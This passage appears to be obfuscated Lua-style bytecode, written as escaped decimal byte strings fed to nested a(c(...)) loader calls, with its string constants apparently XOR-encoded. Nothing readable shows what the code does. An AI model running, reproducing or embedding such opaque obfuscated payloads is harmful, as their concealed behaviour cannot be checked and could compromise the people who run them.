10\0\0\0\1\8\237\0\0\0\56\0\2\0\0\22\0\14\128\0\1\5\38\0\7\0\6\0\0\0\17\1\0\3\198\193\65\3\0\1\6\38\0\7\0\7\0\0\0\19\1\0\3\203\1\194\3\0\0\88\0\183\0\9\0\6\0\0\0\1\65\66\2\0\0\11\0\0\0\1\7\38\0\7\0\3\0\0\0\2\0\0\0\220\129\128\1\0\1\10\38\0\7\0\0\0\0\1\212\0\218\1\0\0\0\1\8\237\0\0\0\50\0\2\0\0\22\128\12\128\0\1\5\38\0\7\0\6\0\0\0\17\1\0\3\198\193\65\3\0\1\5\38\0\7\0\7\0\0\0\6\1\0\3\198\65\194\3\0\1\5\38\0\7\0\7\0\0\0\29\1\0\3\198\129\194\3\0\0\253\11\38\1\212\0\7\0\0\0\44\1\0\3\87\192\194\3\0\12\0\0\0\1\8\237\0\0\0\45\0\2\0\0\22\64\11\128\0\1\5\38\0\7\0\6\0\0\0\17\1\0\3\198\193\65\3\0\1\6\38\0\7\0\7\0\0\0\19\1\0\3\203\1\194\3\0\0\143\2\38\0\9\0\0\0\0\0\0\0\0\0\68\2\0\0\0\13\0\0\0\1\5\38\0\9\0\9\0\0\0\1\1\0\3\70\2\195\4\0\1\5\38\0\9\0\9\0\0\0\16\1\0\3\70\66\195\4\0\1\7\38\0\7\0\3\0\0\0\2\0\0\0\220\129\128\1\0\1\10\38\0\7\0\0\0\0\1\212\0\218\1\0\0\0\1\8\237\0\0\0\37\0\2\0\0\22\64\9\128\0\1\13\38\0\7\0\1\0\0\0\0\0\0\0\196\1\128\0\0\1\6\38\0\7\0\7\0\0\0\7\1\0\3\203\129\195\3\0\1\5\38\0\9\0\6\0\0\0\17\1\0\3\70\194\65\3\0\1\5\38\0\9\0\9\0\0\0\33\1\0\3\70\194\195\4\0\1\5\38\0\9\0\9\0\0\0\9\1\0\3\70\2\196\4\0\1\7\38\0\7\0\3\0\0\0\2\0\0\0\220\129\128\1\0\1\4\183\0\8\0\20\0\0\0\1\5\66\4\0\0\1\5\38\0\8\0\8\0\0\0\49\1\0\3\6\130\68\4\0\1\5\38\0\9\0\7\0\0\0\39\1\0\3\70\194\196\3\0\1\5\38\0\10\0\7\0\0\0\13\1\0\3\134\2\197\3\0\1\7\38\0\8\0\3\0\0\0\2\0\0\0\28\130\128\1\0\1\4\183\0\9\0\20\0\0\0\1\69\66\4\0\0\1\5\38\0\9\0\9\0\0\0\49\1\0\3\70\130\196\4\0\1\13\38\0\10\0\2\0\0\0\0\0\0\0\132\2\0\1\0\1\5\38\0\10\0\10\0\0\0\39\1\0\3\134\194\68\5\0\1\13\38\0\11\0\2\0\0\0\0\0\0\0\196\2\0\1\0\1\5\38\0\11\0\11\0\0\0\13\1\0\3\198\2\197\5\0\1\7\38\0\9\0\3\0\0\0\2\0\0\0\92\130\128\1\0\0\234\0\38\0\8\0\8\0\0\0\9\0\0\0\13\66\2\4\0\14\0\0\0\1\5\38\0\8\0\8\0\0\0\31\1\0\3\6\66\69\4\0\1\13\38\0\9\0\0\0\0\0\0\0\0\0\68\2\0\0\0\1\5\38\0\9\0\9\0\0\0\1\1\0\3\70\2\195\4\0\1\5\38\0\9\0\9\0\0\0\28\1\0\3\70\130\197\4\0\1\12\38\1\224\0\9\0\0\0\4\1\0\3\23\192\197\4\0\1\8\237\0\0\0\8\0\2\0\0\22\0\2\128\0\1\13\38\0\9\0\3\0\0\0\0\0\0\0\68\2\128\1\0\1\5\38\0\9\0\9\0\0\0\21\1\0\3\70\2\198\4\0\0\146\2\38\1\224\0\8\0\0\0\9\0\0\0\24\64\2\4\0\15\0\0\0\1\8\237\0\0\0\8\0\2\0\0\22\0\2\128\0\1\15\38\1\224\0\8\0\0\0\1\0\0\0\24\64\0\4\0\1\8\237\0\0\0\6\0\2\0\0\22\128\1\128\0\0\51\2\38\0\0\0\6\0\0\0\0\0\0\0\0\0\0\3\0\16\0\0\0\0\33\8\38\0\8\0\1\0\0\0\0\0\0\0\64\0\0\4\0\17\0\0\0\1\8\237\0\0\0\3\0\2\0\0\22\192\0\128\0\1\15\38\1\224\0\8\0\0\0\1\0\0\0\24\64\0\4\0\1\8\237\0\0\0\1\0\2\0\0\22\64\0\128\0\1\16\38\0\0\0\6\0\0\0\0\0\0\0\0\0\0\3\0\1\17\38\0\8\0\1\0\0\0\0\0\0\0\64\0\0\4\0\0\109\1\38\0\2\0\0\0\0\0\2\0\0\0\161\128\0\0\0\18\0\0\0\1\8\237\0\0\0\188\255\1\0\0\22\0\239\127\0\0\220\3\38\0\0\0\2\0\0\0\0\0\0\0\30\0\0\1\0\19\0\0\0\0\225\5\38\0\2\0\21\0\0\0\0\0\0\0\30\0\128\0\0\20\0\0\0\207\0\0\0\0\36"))a(c("\3\1\222\34\0\0\0\203\7\0\0\0\102\84\69\118\69\82\0\203\6\0\0\0\70\84\86\124\64\0\203\5\0\0\0\114\83\66\125\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\4\0\0\0\94\69\78\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\12\0\0\0\94\69\78\75\68\121\100\119\84\93\97\0\203\7\0\0\0\102\69\91\122\72\65\0\203\8\0\0\0\80\78\86\125\71\80\111\0\203\6\0\0\0\112\82\69\112\89\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\5\0\0\0\97\89\71\122\0\95\203\7\0\0\0\90\80\86\109\76\103\0\203\6\0\0\0\121\79\64\122\89\0\203\5\0\0\0\121\79\86\123\0\203\7\0\0\0\81\69\84\112\79\80\0\203\9\0\0\0\93\85\90\126\69\90\98\112\0\203\17\0\0\0\102\69\89\123\101\90\127\125\89\123\108\94\74\73\115\76\0\203\25\0\0\0\114\69\67\92\71\90\120\113\76\102\95\83\95\89\121\80\65\80\95\82\99\94\92\102\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\10\0\0\0\118\79\69\112\94\65\98\122\90\0\203\7\0\0\0\103\65\64\108\78\65\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\203\6\0\0\0\86\72\66\113\64\0\180\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\12\0\0\0\81\73\68\111\71\84\114\90\94\127\106\0\203\10\0\0\0\64\110\123\80\104\126\78\80\30\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\6\0\0\0\67\65\69\120\88\0\203\12\0\0\0\89\111\116\84\110\113\43\91\113\40\47\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\6\0\0\0\70\84\86\124\64\0\1\53\0\0\0\0\146\23\237\0\78\0\219\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\29\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\26\1\0\3\70\0\192\0\0\5\0\0\0\1\5\38\0\1\0\1\0\0\0\4\1\0\3\70\64\192\0\0\0\168\1\38\0\1\0\1\0\0\0\14\1\0\3\75\128\192\0\0\6\0\0\0\0\235\2\38\0\1\0\2\0\0\0\2\0\0\0\92\128\0\1\0\7\0\0\0\0\87\2\38\1\224\0\0\0\0\0\1\0\0\0\23\64\0\0\0\8\0\0\0\0\203\0\237\0\0\0\41\0\2\0\0\22\64\10\128\0\9\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\26\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\6\1\0\3\134\192\64\1\0\0\253\11\38\1\224\0\2\0\0\0\12\1\0\3\23\0\65\1\0\10\0\0\0\1\9\237\0\0\0\0\0\2\0\0\22\0\0\128\0\0\225\5\38\0\22\0\24\0\0\0\0\0\0\0\30\0\128\0\0\11\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\26\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\8\1\0\3\134\64\65\1\0\0\7\2\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\12\0\0\0\1\9\237\0\0\0\30\0\2\0\0\22\128\7\128\0\1\4\38\0\2\0\1\0\0\0\0\0\0\0\132\0\128\0\0\0\53\3\38\0\2\0\2\0\0\0\0\0\0\0\147\0\0\1\0\13\0\0\0\0\206\3\38\0\2\0\1\0\0\0\0\0\0\0\136\0\128\0\0\14\0\0\0\1\4\38\0\2\0\1\0\0\0\0\0\0\0\132\0\128\0\0\1\12\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\1\9\237\0\0\0\13\0\2\0\0\22\64\3\128\0\0\60\1\183\0\2\0\19\0\0\0\1\133\128\1\0\0\15\0\0\0\0\175\23\38\0\2\0\3\0\0\0\2\0\0\0\156\128\128\0\0\16\0\0\0\1\14\38\0\2\0\2\0\0\0\0\0\0\0\136\0\0\1\0\1\15\183\0\2\0\18\0\0\0\1\133\192\1\0\0\0\88\0\183\0\3\0\31\0\0\0\1\193\0\2\0\0\17\0\0\0\1\15\183\0\4\0\29\0\0\0\1\5\65\2\0\0\1\4\38\0\5\0\2\0\0\0\0\0\0\0\68\1\0\1\0\1\5\38\0\5\0\5\0\0\0\32\1\0\3\70\129\194\2\0\1\5\38\0\5\0\5\0\0\0\17\1\0\3\70\193\194\2\0\1\5\38\0\5\0\5\0\0\0\27\1\0\3\70\1\195\2\0\1\7\38\0\4\0\2\0\0\0\2\0\0\0\28\129\0\1\0\0\247\6\38\0\3\0\3\0\0\0\17\0\0\0\213\0\129\1\0\18\0\0\0\0\228\8\38\0\2\0\2\0\0\0\20\0\0\0\156\64\0\1\0\19\0\0\0\1\9\237\0\0\0\10\0\2\0\0\22\128\2\128\0\1\4\38\0\2\0\1\0\0\0\0\0\0\0\132\0\128\0\0\1\12\38\0\2\0\0\0\0\1\224\0\154\64\0\0\0\1\9\237\0\0\0\7\0\2\0\0\22\192\1\128\0\1\4\38\0\2\0\2\0\0\0\0\0\0\0\132\0\0\1\0\1\10\38\1\212\0\2\0\0\0\25\1\0\3\87\64\67\1\0\1\9\237\0\0\0\4\0\2\0\0\22\0\1\128\0\0\45\38\38\0\2\0\2\0\0\0\0\0\0\0\131\0\0\1\0\20\0\0\0\1\14\38\0\2\0\2\0\0\0\0\0\0\0\136\0\0\1\0\1\15\183\0\2\0\18\0\0\0\1\133\192\1\0\0\1\17\183\0\3\0\28\0\0\0\1\193\128\3\0\0\1\19\38\0\2\0\2\0\0\0\11\0\0\0\156\64\0\1\0\1\11\38\0\6\0\4\0\0\0\0\0\0\0\30\0\128\0\0\207\0\0\0\0\36"))a(c("\4\0\222\34\0\0\0\203\7\0\0\0\114\98\94\107\88\13\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\11\0\0\0\69\82\82\123\66\86\127\125\80\124\0\203\10\0\0\0\96\80\83\126\95\80\77\91\105\0\203\11\0\0\0\96\80\83\126\95\80\71\123\92\121\0\203\5\0\0\0\114\65\90\122\0\203\7\0\0\0\102\73\77\122\68\83\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\20\0\0\0\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123\0\203\8\0\0\0\84\73\90\115\68\86\96\0\106\203\9\0\0\0\69\79\68\118\95\92\100\122\0\203\25\0\0\0\114\69\67\92\71\90\120\113\76\102\95\83\95\89\121\80\65\80\95\82\99\94\92\102\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\4\0\0\0\123\69\64\0\203\7\0\0\0\114\98\94\107\88\13\0\203\8\0\0\0\114\115\67\109\66\91\108\0\203\23\0\0\0\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5\0\203\23\0\0\0\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5\0\203\7\0\0\0\103\65\64\120\78\65\0\203\8\0\0\0\80\78\86\125\71\80\111\0\203\7\0\0\0\96\78\71\126\72\94\0\203\6\0\0\0\53\66\78\107\78\0\203\8\0\0\0\114\115\67\109\66\91\108\0\203\8\0\0\0\84\73\90\79\74\71\127\0\180\203\7\0\0\0\103\65\64\120\78\65\0\203\2\0\0\0\101\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\9\0\0\0\67\69\91\112\72\92\127\109\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\7\0\0\0\86\102\69\126\70\80\0\203\4\0\0\0\102\89\89\0\1\46\0\0\0\0\146\23\237\0\65\0\239\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\25\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\3\0\0\0\1\5\0\0\0\0\4\0\0\0\0\56\35\38\0\0\0\9\0\0\0\1\0\0\0\28\64\128\0\0\5\0\0\0\1\4\183\0\0\0\4\0\0\0\1\5\64\0\0\0\1\5\38\0\0\0\16\0\0\0\16\0\0\0\28\64\128\0\0\1\4\183\0\0\0\13\0\0\0\1\5\128\0\0\0\0\175\23\38\0\0\0\17\0\0\0\2\0\0\0\28\128\128\0\0\6\0\0\0\0\206\3\38\0\0\0\0\0\0\0\0\0\0\0\8\0\0\0\0\7\0\0\0\0\143\2\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\8\0\0\0\0\118\37\38\0\0\0\0\0\0\0\10\1\0\3\6\192\64\0\0\9\0\0\0\1\9\38\0\0\0\0\0\0\0\21\1\0\3\6\0\65\0\0\0\253\11\38\1\224\0\0\0\0\0\11\1\0\3\23\64\65\0\0\10\0\0\0\0\203\0\237\0\0\0\29\0\2\0\0\22\64\7\128\0\11\0\0\0\1\8\38\0\0\0\2\0\0\0\0\0\0\0\4\0\0\1\0\1\10\38\1\212\0\0\0\0\0\26\1\0\3\87\128\65\0\0\1\11\237\0\0\0\26\0\2\0\0\22\128\6\128\0\1\8\38\0\0\0\3\0\0\0\0\0\0\0\4\0\128\1\0\1\4\183\0\1\0\32\0\0\0\1\69\192\1\0\0\1\9\38\0\1\0\1\0\0\0\15\1\0\3\70\0\194\0\0\1\8\38\0\2\0\3\0\0\0\0\0\0\0\132\0\128\1\0\1\9\38\0\2\0\2\0\0\0\32\1\0\3\134\192\65\1\0\1\9\38\0\2\0\2\0\0\0\28\1\0\3\134\64\66\1\0\1\8\38\0\3\0\2\0\0\0\0\0\0\0\196\0\0\1\0\1\9\38\0\3\0\3\0\0\0\31\1\0\3\198\128\194\1\0\1\8\38\0\4\0\1\0\0\0\0\0\0\0\4\1\128\0\0\1\9\38\0\4\0\4\0\0\0\10\1\0\3\6\193\64\2\0\1\9\38\0\4\0\4\0\0\0\25\1\0\3\6\193\66\2\0\0\90\1\38\0\3\0\3\0\0\0\4\0\0\0\198\0\129\1\0\12\0\0\0\1\9\38\0\3\0\3\0\0\0\12\1\0\3\198\0\195\1\0\1\8\38\0\4\0\2\0\0\0\0\0\0\0\4\1\0\1\0\1\9\38\0\4\0\4\0\0\0\31\1\0\3\6\129\66\2\0\1\8\38\0\5\0\1\0\0\0\0\0\0\0\68\1\128\0\0\1\9\38\0\5\0\5\0\0\0\10\1\0\3\70\193\192\2\0\1\9\38\0\5\0\5\0\0\0\25\1\0\3\70\193\194\2\0\1\12\38\0\4\0\4\0\0\0\5\0\0\0\6\65\1\2\0\1\9\38\0\4\0\4\0\0\0\30\1\0\3\6\65\67\2\0\1\8\38\0\5\0\1\0\0\0\0\0\0\0\68\1\128\0\0\1\9\38\0\5\0\5\0\0\0\10\1\0\3\70\193\192\2\0\1\9\38\0\5\0\5\0\0\0\2\1\0\3\70\129\195\2\0\0\46\3\38\0\4\0\4\0\0\0\5\0\0\0\14\65\1\2\0\13\0\0\0\0\177\0\38\0\3\0\3\0\0\0\4\0\0\0\204\0\129\1\0\14\0\0\0\0\235\2\38\0\1\0\3\0\0\0\2\0\0\0\92\128\128\1\0\15\0\0\0\0\31\1\38\0\0\0\32\1\0\0\1\0\0\2\9\64\128\131\0\16\0\0\0\0\225\5\38\0\12\0\21\0\0\0\0\0\0\0\30\0\128\0\0\17\0\0\0\207\0\0\0\0\36"))a(c("\5\0\222\32\0\0\0\203\8\0\0\0\103\69\70\106\66\71\110\0\117\0\0\0\0\0\0\0\64\203\9\0\0\0\69\79\68\118\95\92\100\122\0\203\6\0\0\0\86\72\66\113\64\0\203\5\0\0\0\97\89\71\122\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\11\0\0\0\83\73\69\122\120\80\121\98\90\96\0\203\15\0\0\0\64\80\83\126\95\80\70\123\74\97\106\111\81\83\0\203\7\0\0\0\90\80\86\109\76\103\0\203\7\0\0\0\116\83\68\122\89\65\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\6\0\0\0\84\73\90\94\95\0\203\17\0\0\0\69\82\82\123\66\86\127\125\80\124\78\82\81\85\114\86\0\203\18\0\0\0\114\69\67\113\74\88\110\119\94\126\99\82\91\84\116\77\113\0\203\7\0\0\0\96\78\71\126\72\94\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\4\0\0\0\102\89\89\0\203\7\0\0\0\90\80\86\109\76\103\0\203\6\0\0\0\86\72\66\113\64\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\116\83\68\122\89\65\0\203\7\0\0\0\102\69\91\122\72\65\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\7\0\0\0\90\80\86\109\76\103\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\8\0\0\0\80\78\86\125\71\80\111\0\203\9\0\0\0\67\69\91\112\72\92\127\109\0\117\0\0\0\0\0\0\8\64\203\7\0\0\0\96\78\71\126\72\94\0\203\12\0\0\0\94\69\78\75\68\121\100\119\84\93\97\0\1\101\0\0\0\0\146\23\237\0\167\0\208\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\229\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\108\1\38\0\1\0\0\0\0\0\0\0\0\0\74\0\0\0\0\4\0\0\0\0\10\0\38\0\2\0\0\0\0\0\0\0\0\0\165\0\0\0\0\5\0\0\0\0\20\1\38\0\1\0\0\0\0\0\1\0\0\0\98\64\0\0\0\6\0\0\0\0\143\2\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\7\0\0\0\0\118\37\38\0\2\0\2\0\0\0\10\1\0\3\134\0\64\1\0\8\0\0\0\1\8\38\0\2\0\2\0\0\0\27\1\0\3\134\64\64\1\0\0\7\2\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\9\0\0\0\0\203\0\237\0\0\0\41\0\2\0\0\22\64\10\128\0\10\0\0\0\1\7\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\8\38\0\2\0\2\0\0\0\10\1\0\3\134\0\64\1\0\1\8\38\0\2\0\2\0\0\0\31\1\0\3\134\128\64\1\0\1\9\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\1\10\237\0\0\0\36\0\2\0\0\22\0\9\128\0\1\7\38\0\2\0\1\0\0\0\0\0\0\0\132\0\128\0\0\1\9\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\1\10\237\0\0\0\33\0\2\0\0\22\64\8\128\0\0\60\1\183\0\2\0\13\0\0\0\1\133\192\0\0\0\11\0\0\0\0\175\23\38\0\2\0\9\0\0\0\2\0\0\0\156\128\128\0\0\12\0\0\0\0\253\11\38\1\224\0\2\0\0\0\6\1\0\3\23\0\65\1\0\13\0\0\0\1\10\237\0\0\0\29\0\2\0\0\22\64\7\128\0\1\8\38\0\2\0\1\0\0\0\1\1\0\3\134\64\193\0\0\1\13\38\1\224\0\2\0\0\0\7\1\0\3\23\128\65\1\0\1\10\237\0\0\0\26\0\2\0\0\22\128\6\128\0\1\7\38\0\2\0\2\0\0\0\0\0\0\0\132\0\0\1\0\1\8\38\0\2\0\2\0\0\0\24\1\0\3\134\0\66\1\0\1\7\38\0\3\0\0\0\0\0\0\0\0\0\196\0\0\0\0\1\8\38\0\3\0\3\0\0\0\10\1\0\3\198\0\192\1\0\1\8\38\0\3\0\3\0\0\0\11\1\0\3\198\64\194\1\0\0\90\1\38\0\2\0\2\0\0\0\3\0\0\0\134\192\0\1\0\14\0\0\0\1\8\38\0\2\0\2\0\0\0\2\1\0\3\134\128\66\1\0\1\7\38\0\3\0\2\0\0\0\0\0\0\0\196\0\0\1\0\1\8\38\0\3\0\3\0\0\0\24\1\0\3\198\0\194\1\0\1\7\38\0\4\0\0\0\0\0\0\0\0\0\4\1\0\0\0\1\8\38\0\4\0\4\0\0\0\10\1\0\3\6\1\64\2\0\1\8\38\0\4\0\4\0\0\0\11\1\0\3\6\65\66\2\0\1\14\38\0\3\0\3\0\0\0\4\0\0\0\198\0\129\1\0\1\8\38\0\3\0\3\0\0\0\28\1\0\3\198\192\194\1\0\1\7\38\0\4\0\0\0\0\0\0\0\0\0\4\1\0\0\0\1\8\38\0\4\0\4\0\0\0\10\1\0\3\6\1\64\2\0\1\8\38\0\4\0\4\0\0\0\12\1\0\3\6\1\67\2\0\0\46\3\38\0\3\0\3\0\0\0\4\0\0\0\206\0\129\1\0\15\0\0\0\0\177\0\38\0\2\0\2\0\0\0\3\0\0\0\140\192\0\1\0\16\0\0\0\0\31\1\38\0\1\0\29\1\0\0\2\0\0\2\73\128\128\131\0\17\0\0\0\1\7\38\0\2\0\3\0\0\0\0\0\0\0\132\0\128\1\0\1\11\183\0\3\0\14\0\0\0\1\197\64\3\0\0\0\33\8\38\0\1\0\4\0\0\0\0\0\0\0\0\1\128\0\0\18\0\0\0\0\235\2\38\0\3\0\2\0\0\0\0\0\0\0\220\0\0\1\0\19\0\0\0\0\74\2\38\0\2\0\0\0\0\0\0\0\0\0\157\0\0\0\0\20\0\0\0\0\140\29\38\0\2\0\4\0\0\0\0\0\0\0\158\0\0\0\0\21\0\0\0\1\10\237\0\0\0\42\0\2\0\0\22\128\10\128\0\1\7\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\8\38\0\2\0\2\0\0\0\10\1\0\3\134\0\64\1\0\1\8\38\0\2\0\2\0\0\0\27\1\0\3\134\64\64\1\0\1\9\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\1\10\237\0\0\0\37\0\2\0\0\22\64\9\128\0\1\7\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\8\38\0\2\0\2\0\0\0\10\1\0\3\134\0\64\1\0\1\8\38\0\2\0\2\0\0\0\31\1\0\3\134\128\64\1\0\1\9\38\0\2\0\0\0\0\1\224\0\154\64\0\0\0\1\10\237\0\0\0\32\0\2\0\0\22\0\8\128\0\1\11\183\0\2\0\13\0\0\0\1\133\192\0\0\0\1\12\38\0\2\0\16\0\0\0\2\0\0\0\156\128\128\0\0\1\13\38\1\224\0\2\0\0\0\6\1\0\3\23\0\65\1\0\1\10\237\0\0\0\28\0\2\0\0\22\0\7\128\0\1\8\38\0\2\0\1\0\0\0\1\1\0\3\134\64\193\0\0\1\13\38\1\224\0\2\0\0\0\7\1\0\3\23\128\65\1\0\1\10\237\0\0\0\25\0\2\0\0\22\64\6\128\0\1\7\38\0\2\0\4\0\0\0\0\0\0\0\132\0\0\2\0\1\8\38\0\2\0\2\0\0\0\24\1\0\3\134\0\66\1\0\1\7\38\0\3\0\0\0\0\0\0\0\0\0\196\0\0\0\0\1\8\38\0\3\0\3\0\0\0\10\1\0\3\198\0\192\1\0\1\8\38\0\3\0\3\0\0\0\11\1\0\3\198\64\194\1\0\1\14\38\0\2\0\2\0\0\0\3\0\0\0\134\192\0\1\0\1\8\38\0\2\0\2\0\0\0\2\1\0\3\134\128\66\1\0\1\7\38\0\3\0\4\0\0\0\0\0\0\0\196\0\0\2\0\1\8\38\0\3\0\3\0\0\0\24\1\0\3\198\0\194\1\0\1\7\38\0\4\0\0\0\0\0\0\0\0\0\4\1\0\0\0\1\8\38\0\4\0\4\0\0\0\10\1\0\3\6\1\64\2\0\1\8\38\0\4\0\4\0\0\0\11\1\0\3\6\65\66\2\0\1\14\38\0\3\0\3\0\0\0\4\0\0\0\198\0\129\1\0\1\8\38\0\3\0\3\0\0\0\28\1\0\3\198\192\194\1\0\1\7\38\0\4\0\0\0\0\0\0\0\0\0\4\1\0\0\0\1\8\38\0\4\0\4\0\0\0\10\1\0\3\6\1\64\2\0\1\8\38\0\4\0\4\0\0\0\12\1\0\3\6\1\67\2\0\1\15\38\0\3\0\3\0\0\0\4\0\0\0\206\0\129\1\0\1\16\38\0\2\0\2\0\0\0\3\0\0\0\140\192\0\1\0\1\17\38\0\1\0\29\1\0\0\2\0\0\2\73\128\128\131\0\1\7\38\0\2\0\3\0\0\0\0\0\0\0\132\0\128\1\0\1\11\183\0\3\0\14\0\0\0\1\197\64\3\0\0\1\18\38\0\1\0\4\0\0\0\0\0\0\0\0\1\128\0\0\1\19\38\0\3\0\2\0\0\0\0\0\0\0\220\0\0\1\0\1\20\38\0\2\0\0\0\0\0\0\0\0\0\157\0\0\0\0\1\21\38\0\2\0\23\0\0\0\0\0\0\0\158\0\0\0\0\1\7\38\0\2\0\3\0\0\0\0\0\0\0\132\0\128\1\0\1\5\38\0\3\0\0\0\0\0\0\0\0\0\229\0\0\0\0\1\20\38\0\2\0\0\0\0\0\0\0\0\0\157\0\0\0\0\1\21\38\0\2\0\11\0\0\0\0\0\0\0\158\0\0\0\0\0\225\5\38\0\9\0\13\0\0\0\0\0\0\0\30\0\128\0\0\22\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\7\0\0\0\114\77\86\107\72\93\0\203\7\0\0\0\116\83\68\122\89\65\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\4\0\0\0\121\69\89\0\203\8\0\0\0\80\78\86\125\71\80\111\0\203\8\0\0\0\114\115\67\109\66\91\108\0\1\7\0\0\0\0\146\23\237\0\160\0\37\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\206\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\4\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\6\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\16\0\14\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\7\0\0\0\81\69\84\112\79\80\0\203\7\0\0\0\103\65\64\108\78\65\0\203\11\0\0\0\69\82\82\123\66\86\127\125\80\124\0\203\7\0\0\0\114\115\94\101\78\65\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\8\0\0\0\112\78\84\109\82\69\127\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\7\0\0\0\116\83\68\122\89\65\0\1\10\0\0\0\0\146\23\237\0\35\0\14\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\217\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\8\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\0\0\0\0\1\133\128\0\0\0\6\0\0\0\0\51\2\38\0\3\0\0\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\3\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\19\0\12\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\8\0\0\0\84\73\90\79\74\71\127\0\203\4\0\0\0\123\69\64\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\7\0\0\0\90\80\86\109\76\103\0\203\7\0\0\0\116\83\68\122\89\65\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\86\72\66\113\64\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\4\0\0\0\123\69\64\0\203\6\0\0\0\53\66\78\107\78\0\1\10\0\0\0\0\146\23\237\0\224\0\182\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\21\0\255\255\1\0\0\0\0\0\0\0\3\0\